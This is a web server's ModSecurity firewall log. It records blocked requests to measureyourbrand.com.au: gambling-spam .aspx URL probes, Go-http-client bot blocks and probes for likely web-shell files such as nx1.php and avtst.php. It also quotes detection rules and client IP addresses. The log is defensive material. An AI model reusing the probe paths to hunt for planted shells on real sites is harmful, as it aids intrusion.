[Wed Jan 28 20:18:34.730954 2026] [:error] [pid 24452:tid 24478] [client 77.174.205.56:55650] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aXn-mv0RQOh_GmqmVyZq7AAAAZg"]
[Wed Jan 28 20:18:37.354126 2026] [:error] [pid 42740:tid 42742] [client 77.174.205.56:41640] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aXn-nVnjAS34srJlXgSd4gAAAIA"]
[Wed Jan 28 20:18:40.030487 2026] [:error] [pid 33491:tid 33558] [client 77.174.205.56:41654] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aXn-oGP9UY0x3irkINAn_wAAAMc"]
[Wed Jan 28 20:18:42.683800 2026] [:error] [pid 33636:tid 33643] [client 77.174.205.56:41662] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aXn-otIVZAudQH0BSC41rQAAAgU"]
[Wed Jan 28 20:18:45.185822 2026] [:error] [pid 33491:tid 33574] [client 77.174.205.56:41674] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aXn-pWP9UY0x3irkINAoCAAAANc"]
[Wed Jan 28 20:18:47.826077 2026] [:error] [pid 33490:tid 33526] [client 77.174.205.56:33506] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aXn-p2jexcy58gsBPJGnkgAAAEI"]
[Wed Jan 28 20:18:50.465261 2026] [:error] [pid 24482:tid 24495] [client 77.174.205.56:33520] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aXn-qqLaUZr_xWekSHOeUAAAAck"]
[Wed Jan 28 20:18:52.966131 2026] [:error] [pid 33636:tid 33659] [client 77.174.205.56:33524] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aXn-rNIVZAudQH0BSC41uAAAAhU"]
[Wed Jan 28 20:18:55.616939 2026] [:error] [pid 24482:tid 24489] [client 77.174.205.56:39494] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aXn-r6LaUZr_xWekSHOeWAAAAcM"]
[Wed Jan 28 20:18:58.252325 2026] [:error] [pid 33580:tid 33608] [client 77.174.205.56:39502] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aXn-splb0QJtwfka8l5WNwAAARU"]
[Wed Jan 28 20:19:09.914846 2026] [:error] [pid 33491:tid 33559] [client 77.174.205.56:34726] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aXn-vWP9UY0x3irkINAoHgAAAMg"]
[Wed Jan 28 20:19:12.571638 2026] [:error] [pid 33489:tid 33493] [client 77.174.205.56:34732] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXn-wBZrVZwQUFWC7_9JvAAAAAA"]
[Wed Jan 28 20:19:15.057220 2026] [:error] [pid 24452:tid 24467] [client 77.174.205.56:34738] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXn-w_0RQOh_GmqmVyZrHgAAAY0"]
[Wed Jan 28 20:19:17.735889 2026] [:error] [pid 24452:tid 24465] [client 77.174.205.56:38660] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXn-xf0RQOh_GmqmVyZrIAAAAYs"]
[Wed Jan 28 20:19:20.206706 2026] [:error] [pid 24452:tid 24469] [client 77.174.205.56:38666] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXn-yP0RQOh_GmqmVyZrJAAAAY8"]
[Wed Jan 28 20:19:22.844285 2026] [:error] [pid 24482:tid 24490] [client 77.174.205.56:38676] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXn-yqLaUZr_xWekSHOefwAAAcQ"]
[Wed Jan 28 20:19:25.484454 2026] [:error] [pid 33489:tid 33499] [client 77.174.205.56:43212] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXn-zRZrVZwQUFWC7_9JyAAAAAY"]
[Wed Jan 28 20:19:47.570797 2026] [:error] [pid 24482:tid 24501] [client 77.174.205.56:43216] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXn-46LaUZr_xWekSHOeoAAAAc8"]
[Wed Jan 28 20:19:50.154670 2026] [:error] [pid 33636:tid 33649] [client 77.174.205.56:36998] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXn-5tIVZAudQH0BSC419wAAAgs"]
[Wed Jan 28 20:19:52.793429 2026] [:error] [pid 2625:tid 2642] [client 77.174.205.56:37002] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXn-6FZhY64HvuPd7w1d2AAAAUs"]
[Wed Jan 28 20:19:55.328310 2026] [:error] [pid 33580:tid 33609] [client 77.174.205.56:51338] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXn-65lb0QJtwfka8l5WfwAAARY"]
[Wed Jan 28 20:19:57.962626 2026] [:error] [pid 33490:tid 33536] [client 77.174.205.56:51340] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXn-7Wjexcy58gsBPJGn2wAAAEw"]
[Wed Jan 28 20:20:00.452187 2026] [:error] [pid 33490:tid 33526] [client 77.174.205.56:51348] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXn-8Gjexcy58gsBPJGn4wAAAEI"]
[Wed Jan 28 20:20:03.102963 2026] [:error] [pid 33490:tid 33539] [client 77.174.205.56:51360] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXn-82jexcy58gsBPJGn6gAAAE8"]
[Wed Jan 28 20:20:05.604680 2026] [:error] [pid 33489:tid 33506] [client 77.174.205.56:41554] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXn-9RZrVZwQUFWC7_9J8QAAAA0"]
[Wed Jan 28 20:20:08.237212 2026] [:error] [pid 33636:tid 33638] [client 77.174.205.56:41568] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXn--NIVZAudQH0BSC42CwAAAgA"]
[Wed Jan 28 20:20:10.742862 2026] [:error] [pid 42740:tid 42742] [client 77.174.205.56:41570] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXn--lnjAS34srJlXgSeVQAAAIA"]
[Wed Jan 28 20:20:13.381869 2026] [:error] [pid 33580:tid 33592] [client 77.174.205.56:41580] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXn-_Zlb0QJtwfka8l5WiQAAAQU"]
[Wed Jan 28 20:20:15.882945 2026] [:error] [pid 33491:tid 33562] [client 77.174.205.56:45080] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXn-_2P9UY0x3irkINAoXwAAAMs"]
[Wed Jan 28 20:20:18.514572 2026] [:error] [pid 2625:tid 2640] [client 77.174.205.56:45092] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXn_AlZhY64HvuPd7w1d6gAAAUk"]
[Wed Jan 28 20:20:21.161490 2026] [:error] [pid 33491:tid 33554] [client 77.174.205.56:45108] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXn_BWP9UY0x3irkINAoZAAAAMM"]
[Wed Jan 28 20:20:23.646842 2026] [:error] [pid 33489:tid 33513] [client 77.174.205.56:45122] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXn_BxZrVZwQUFWC7_9KAgAAABQ"]
[Wed Jan 28 20:20:26.299650 2026] [:error] [pid 33490:tid 33542] [client 77.174.205.56:45996] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aXn_Cmjexcy58gsBPJGoEAAAAFI"]
[Wed Jan 28 20:20:28.779066 2026] [:error] [pid 24482:tid 24489] [client 77.174.205.56:46012] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXn_DKLaUZr_xWekSHOevwAAAcM"]
[Wed Jan 28 20:20:31.429653 2026] [:error] [pid 2625:tid 2641] [client 77.174.205.56:46014] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aXn_D1ZhY64HvuPd7w1d_gAAAUo"]
[Wed Jan 28 20:20:33.918575 2026] [:error] [pid 33489:tid 33503] [client 77.174.205.56:46020] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXn_ERZrVZwQUFWC7_9KDQAAAAo"]
[Wed Jan 28 20:20:36.553958 2026] [:error] [pid 33490:tid 33526] [client 77.174.205.56:33892] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXn_FGjexcy58gsBPJGoKgAAAEI"]
[Wed Jan 28 20:20:39.193357 2026] [:error] [pid 33490:tid 33541] [client 77.174.205.56:33908] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXn_F2jexcy58gsBPJGoNAAAAFE"]
[Wed Jan 28 20:20:41.819595 2026] [:error] [pid 33489:tid 33497] [client 77.174.205.56:33916] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aXn_GRZrVZwQUFWC7_9KDgAAAAQ"]
[Wed Jan 28 20:20:44.459585 2026] [:error] [pid 33490:tid 33530] [client 77.174.205.56:33928] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXn_HGjexcy58gsBPJGoPwAAAEY"]
[Wed Jan 28 22:59:16.364437 2026] [:error] [pid 33636:tid 33640] [client 43.153.135.208:49694] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXokRNIVZAudQH0BSC5Y0AAAAgI"]
[Wed Jan 28 23:15:50.789053 2026] [:error] [pid 42740:tid 42759] [client 213.209.159.151:45564] [client 213.209.159.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXooJlnjAS34srJlXgTGEAAAAJE"]
[Thu Jan 29 03:33:54.135016 2026] [:error] [pid 15949:tid 16007] [client 47.90.227.150:53940] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXpkoiUUtCw0-hDUhapNNQAAAE8"]
[Thu Jan 29 03:33:54.771961 2026] [:error] [pid 15948:tid 15968] [client 47.90.227.150:57906] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXpkoss8-GxRVq8LLTWd8AAAAAQ"]
[Thu Jan 29 05:30:27.367520 2026] [:error] [pid 20579:tid 20643] [client 49.51.253.83:47568] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXp_8zVXNopcNyjJc9VmdgAAAkI"]
[Thu Jan 29 08:01:31.976424 2026] [:error] [pid 19071:tid 19143] [client 20.219.59.84:51609] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aXqjW5fa8Ix5wWmtmJzDtAAAAIo"]
[Thu Jan 29 08:01:32.417582 2026] [:error] [pid 19069:tid 19080] [client 20.219.59.84:16898] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aXqjXPDHsRM4BJ9a4Qt40QAAAAI"]
[Thu Jan 29 08:01:33.001410 2026] [:error] [pid 20580:tid 20673] [client 20.219.59.84:51595] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aXqjXZCZ5HHdXPmeL59ptAAAAoU"]
[Thu Jan 29 08:01:33.304160 2026] [:error] [pid 20578:tid 20635] [client 20.219.59.84:51637] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aXqjXQ6UX7yOMwQFiyecDAAAAhY"]
[Thu Jan 29 08:01:33.866697 2026] [:error] [pid 20578:tid 20616] [client 20.219.59.84:16911] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aXqjXQ6UX7yOMwQFiyecDQAAAgM"]
[Thu Jan 29 08:01:34.432354 2026] [:error] [pid 19071:tid 19156] [client 20.219.59.84:51638] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aXqjXpfa8Ix5wWmtmJzDtwAAAJc"]
[Thu Jan 29 08:01:34.857126 2026] [:error] [pid 19069:tid 19081] [client 20.219.59.84:51605] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aXqjXvDHsRM4BJ9a4Qt42gAAAAM"]
[Thu Jan 29 08:01:35.310287 2026] [:error] [pid 19069:tid 19086] [client 20.219.59.84:51645] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aXqjX_DHsRM4BJ9a4Qt43AAAAAg"]
[Thu Jan 29 08:01:35.632105 2026] [:error] [pid 19177:tid 19184] [client 20.219.59.84:16902] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aXqjX3ipGz0PT8TrQv4HKgAAAMU"]
